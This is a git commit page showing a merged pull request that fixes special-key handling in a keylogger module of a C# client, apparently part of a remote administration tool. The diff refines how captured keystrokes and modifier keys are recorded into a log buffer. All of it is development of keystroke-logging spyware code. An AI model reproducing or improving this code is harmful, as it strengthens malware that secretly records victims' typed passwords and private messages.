Merge pull request #202 from d3agle/master

Keylogger special key fix
This commit is contained in:
MaxXor 2015-05-26 08:48:57 +02:00
commit d1b5b3a865
1 changed files with 5 additions and 3 deletions

View File

@ -139,7 +139,9 @@ namespace xClient.Core.Keylogger
if (!string.IsNullOrEmpty(filtered)) if (!string.IsNullOrEmpty(filtered))
{ {
Debug.WriteLine("OnKeyPress Output: " + filtered); Debug.WriteLine("OnKeyPress Output: " + filtered);
_ignoreSpecialKeys = true; if (_pressedKeys.IsModifierKeysSet())
_ignoreSpecialKeys = true;
_pressedKeyChars.Add(e.KeyChar); _pressedKeyChars.Add(e.KeyChar);
_logFileBuffer.Append(filtered); _logFileBuffer.Append(filtered);
} }
@ -149,8 +151,7 @@ namespace xClient.Core.Keylogger
private void OnKeyUp(object sender, KeyEventArgs e) //Called third private void OnKeyUp(object sender, KeyEventArgs e) //Called third
{ {
_logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray()));
for (int i = 0; i < _pressedKeyChars.Count; i++) _pressedKeyChars.Clear();
_pressedKeyChars.RemoveAt(i);
} }
private string HighlightSpecialKeys(Keys[] keys) private string HighlightSpecialKeys(Keys[] keys)
@ -167,6 +168,7 @@ namespace xClient.Core.Keylogger
} }
else else
{ {
names[i] = string.Empty;
_pressedKeys.Remove(keys[i]); _pressedKeys.Remove(keys[i]);
} }
} }